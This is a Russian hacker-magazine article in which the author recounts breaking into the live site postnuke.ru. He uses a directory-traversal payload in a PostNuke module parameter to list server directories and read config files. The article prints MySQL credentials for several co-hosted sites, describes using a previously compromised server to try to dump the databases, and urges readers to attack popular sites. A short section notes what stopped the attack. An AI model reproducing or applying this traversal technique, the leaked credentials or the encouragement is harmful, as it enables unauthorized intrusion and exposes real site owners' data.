Просматривая ежедневно десятки ресурсов, невольно выстраиваешь рейтинг
наиболее распространенных бажных движков. Уныло полистав багтрак, я решил
прогуляться по всем известному порталу от Russian Postnuke Team –
www.postnuke.ru. Что из этого получилось, и чем прогулка окончилась, ты узнаешь,
прочитав статью.
Первое знакомство
Движки по типу «все включено» получили на просторах Сети широкое
распространение. Зайдя на сайт www.postnuke.ru, я обнаружил, что в качестве
движка используется PostNuke (еще бы :)). Стоит ли говорить, что версия была
последней, а значит, на дыры рассчитывать не приходилось. Набрав в адресной
строке www.postnuke.ru/robots.txt, я получил список запрещенных к индексации
каталогов:
User-agent: *
Disallow: admin.php
Disallow: config
Disallow: header
Disallow: footer
Disallow: pntables
Disallow: referer
Disallow: /images
Disallow: /includes
Disallow: /modules/NS-
Disallow: /pnadodb
Disallow: /themes
Disallow: /pnTemp
Disallow: /docs
Disallow: /javascript
К сожалению, chmod’ы на серверы были расставлены грамотно, так что никакой
дополнительной информации мне получить не удалось. Тогда я вспомнил об удобном
сервисе по сбору данных из Гугла –
madnet.name/tools/madss. Вбив урл атакуемого ресурса, буквально через пару
секунд я лицезрел ответ:
http://postnuke.ru
IP: 91.194.77.73
ТИЦ: 550
PR: 5
Reverse DNS:
medoc.solidno.ru
Сервер:
Apache/2.0.52 (CentOS)
Запрещено к индексированию:
admin.php
config
header
footer
pntables
referer
/images
/includes
/modules/NS-
/pnadodb
/themes
/pnTemp
/docs
/javascript
Сайты на сервере(ReverseIP):
energogid.ru [83.222.23.124] [83.222.23.174]
files.postnuke.ru [91.194.77.73]
www.postnuke.ru [91.194.77.73]
www.solidno.ru [91.194.77.73]
Я безрезультатно проверил все имеющиеся ресурсы и углубился в изучение
структуры и функционала www.postnuke.ru. Через некоторое время мое внимание
привлек модуль Static Docs, который располагался по адресу:
http://www.postnuke.ru/index.php?module=Static_Docs&func=view
Когда я прошел по линку, передо мной оказалась директория с названием «downloads»:
http://www.postnuke.ru/index.php?module=Static_Docs&func=view&f=downloads/index.html
Взглянув на адресную строку браузера, а именно на параметр «f» и его
значение, я с удивлением обнаружил, что модуль не имеет привязки к конкретному
каталогу, а значит... Правильно! Я мог совершенно спокойно гулять по серверу,
читая файлы и просматривая интересующие меня каталоги.
Эксплуатируем уязвимость
Первым делом я принялся искать конфиги для подключения к СУБД. Корень
веб-каталога располагался в /opt/www/postnuke.ru. Сформировав запрос вида:
http://www.postnuke.ru/index.php?module=Static_Docs&func=view&f
=../../../../../../../../../../../../../../opt/www/postnuke.ru
– я без труда получил листинг веб-директории сайта:
docs 4 KB Directory 05 Jun, 2005 г. - 21:39
files 4 KB Directory 16 Feb, 2005 г. - 12:45
images 4 KB Directory 05 Jun, 2005 г. - 22:17
includes 4 KB Directory 22 Dec, 2007 г. - 15:39
javascript 4 KB Directory 20 May, 2005 г. - 21:34
language 4 KB Directory 16 Aug, 2004 г. - 09:58
modules 4 KB Directory 11 Oct, 2005 г. - 20:34
pnTemp 4 KB Directory 20 May, 2005 г. - 21:22
pnadodb 4 KB Directory 15 Jan, 2006 г. - 20:14
themes 4 KB Directory 18 Jun, 2005 г. - 21:33
var 4 KB Directory 05 Jun, 2005 г. - 19:55
.htaccess 91 K Unknown 05 Jun, 2005 г. - 20:09
admin.php 4 KB Source 20 May, 2005 г. - 21:22
backend.php 6 KB Source 20 May, 2005 г. - 21:22
banners.php 16 KB Source 20 May, 2005 г. - 21:22
config-old.php 4 KB Source 20 May, 2005 г. - 21:22
config.php 4 KB Source 05 Jun, 2005 г. - 21:41
error.php 4 KB Source 20 May, 2005 г. - 21:22
favicon.ico 1 KB Unknown 15 Dec, 2004 г. - 16:08
footer.php 3 KB Source 20 May, 2005 г. - 21:22
header.php 5 KB Source 20 May, 2005 г. - 21:22
index.php 4 KB Source 18 May, 2005 г. - 18:54
mainfile.php 1 KB Source 20 May, 2005 г. - 21:22
modules.php 381 K Source 20 May, 2005 г. - 21:22
pntables.php 44 KB Source 20 May, 2005 г. - 21:22
print.php 10 KB Source 20 May, 2005 г. - 21:22
referer.php 4 KB Source 20 May, 2005 г. - 21:22
robots.txt 276 K Text 20 May, 2005 г. - 21:22
user.php
Меня заинтересовали два конфига: config.php и config-old.php. Оба
представляли собой стандартные конфиги PostNuke. Прочитав первый (config.php), я
добрался до заветного аккаунта к СУБД:
$pnconfig['dbtype'] = 'mysql';
$pnconfig['dbhost'] = 'localhost';
$pnconfig['dbuname'] = 'postnukeru';
$pnconfig['dbpass'] = 'ru178$500';
$pnconfig['dbname'] = 'postnukeru';
$pnconfig['system'] = '0';
$pnconfig['prefix'] = 'postnuke';
$pnconfig['encoded'] = '0';
В старой версии конфига поля логина и пароли были пустыми – непонятно, зачем
его вообще хранили на сервере :).
Тем временем я уже заливал MySQL-клиент на один из поломанных ранее серверов,
дабы подключиться к БД www.postnuke.ru и сделать несколько дампов баз. Однако,
меня ждал облом – удаленное подключение к MySQL в моем случае было невозможным.
Хотя оставалась надежда, что с другими пользователями СУБД все может быть иначе
и нужно только поискать. Потратив около получаса на парсинг всевозможных
каталогов на сервере, я составил список добытых аккаунтов от MySQL:
1.
define('DB_SERVER', 'localhost');
define('DB_SERVER_USERNAME', 'cosmo');
define('DB_SERVER_PASSWORD', 'xxxcosmo');
define('DB_DATABASE', 'eng');
2.
$conf->DBserver = importPost( "DBserver", "localhost" );
$conf->DBname = importPost( "DBname", "wikidb" );
$conf->DBuser = importPost( "DBuser", "wikiuser" );
$conf->DBpassword = importPost( "DBpassword" );
$conf->DBpassword2 = importPost( "DBpassword2" );
$conf->DBprefix = importPost( "DBprefix" );
3.
mysql://hobby:rt76ju89ew@localhost
4.
$db_url = 'mysql://travel:rt76ju89ew@localhost/travel';
$db_prefix = '';
5.
mysql://padebesi:irbenaju131@localhost/padebesi
В моем распоряжении появилось несколько аккаунтов. Казалось бы, сомневаться в
успехе не приходилось, но MySQL-клиент раз за разом выдал сообщение об ошибке,
сообщая, что удаленное подключение к СУБД на postnuke.ru невозможно. Такой
расклад меня не устраивал. Я принялся искать бэкапы, которые могли бы пролить
свет на админки хостящихся на сервере ресурсов. Вскоре соответствующая
директория была найдена – /opt/data/BACKUP:
etc 12 KB Directory 10 Aug, 2007 г. - 04:05
etc-old 4 KB Directory 11 Aug, 2007 г. - 10:56
sql 4 KB Directory 10 Aug, 2007 г. - 21:36
etc.lst 275 K Unknown 11 Aug, 2007 г. - 11:15
Каталог с незамысловатым названием «sql» хранил в себе много вкусностей:
mysql.tgz 29 MB Unknown 10 Aug, 2007 г. - 21:35
sql-manylines.tg 23 MB Unknown 10 Aug, 2007 г. - 11:38
sql-oneline.tgz 22 MB Unknown 10 Aug, 2007 г. - 11:27
К сожалению, слить найденные бэкапы не удавалось. Бажный модуль попросту
отказывался показывать их содержимое – то ли по причине отсутствия прав, то ли в
результате ошибки выполнения самого модуля. Удача в этот раз явно обошла меня
стороной, однако сдаваться в мои планы не входило, и я принялся осматривать
веб-каталог сервера – /opt/www:
20let.solidno.ru 4 KB Directory 12 Feb, 2007 г. - 10:04
energogid.ru 4 KB Directory 21 Jul, 2008 г. - 16:32
files.postnuke.ru 4 KB Directory 31 Oct, 2005 г. - 20:50
hobby.solidno.ru 4 KB Directory 13 Apr, 2008 г. - 12:52
padebesi.lv 4 KB Directory 13 Apr, 2008 г. - 10:46
padebesi.lv.rdr 4 KB Directory 18 Mar, 2008 г. - 21:05
pave.ru 4 KB Directory 25 Dec, 2007 г. - 21:54
postnuke.ru 4 KB Directory 22 Dec, 2007 г. - 14:58
solidno.ru 4 KB Directory 05 Aug, 2008 г. - 12:13
sosedi.solidno.ru 4 KB Directory 13 Apr, 2008 г. - 12:52
travel.solidno.ru 4 KB Directory 13 Apr, 2008 г. - 12:52
ua.energogid.ru 4 KB Directory 11 Jul, 2007 г. - 17:33
vino.solidno.ru 4 KB Directory 13 Apr, 2008 г. - 12:52
vinopedia.solidno.ru 4 KB Directory 25 Dec, 2007 г. - 13:02
voll.solidno.ru 4 KB Directory 23 Jan, 2008 г. - 23:37
energogid_old_archive.tgz 78 MB Unknown 21 Jul, 2008 г. - 15:46
Можно было попробовать залогиниться в админку какого-нибудь из сайтов,
использовав аккаунты от MySQL. Потратив на попытки более часа, я оставил эту
затею и принялся окучивать FTP, что тоже не принесло результатов. Я вынужден был
отдать должное админам и отступить... В этот раз довести начатое до конца не
удалось. Почему? Об этом читай ниже.
Что помогло админам
С точки зрения безопасности, огромным плюсом оказалось ограничение в правах и
в возможности удаленного подключения пользователей MySQL. Все найденные аккаунты
мне попросту не понадобились. Стоит отметить, что везде использовались разные и
сложные пароли. Именно поэтому так и не удалось заюзать пароли от мускула «в
иных целях». Но налицо был и ряд ошибок: начиная от использования бажного модуля
и заканчивая кривым разграничением прав пользователей на сервере (благодаря чему
я шарил по всем необходимым каталогам). В любой бочке меда можно найти ложку
дегтя – или наоборот :).
Danger
Внимание! Информация представлена исключительно с целью ознакомления! Ни
автор, ни редакция за твои действия ответственности не несут!
Info
Чем крупнее проект – тем больше вероятность наличия в нем уязвимостей. Смело
бросайся грудью на амбразуру и тестируй раскрученные ресурсы.
Большим плюсом с точки зрения безопасности является ограничение в правах и в
возможности удаленного подключения пользователей MySQL.
|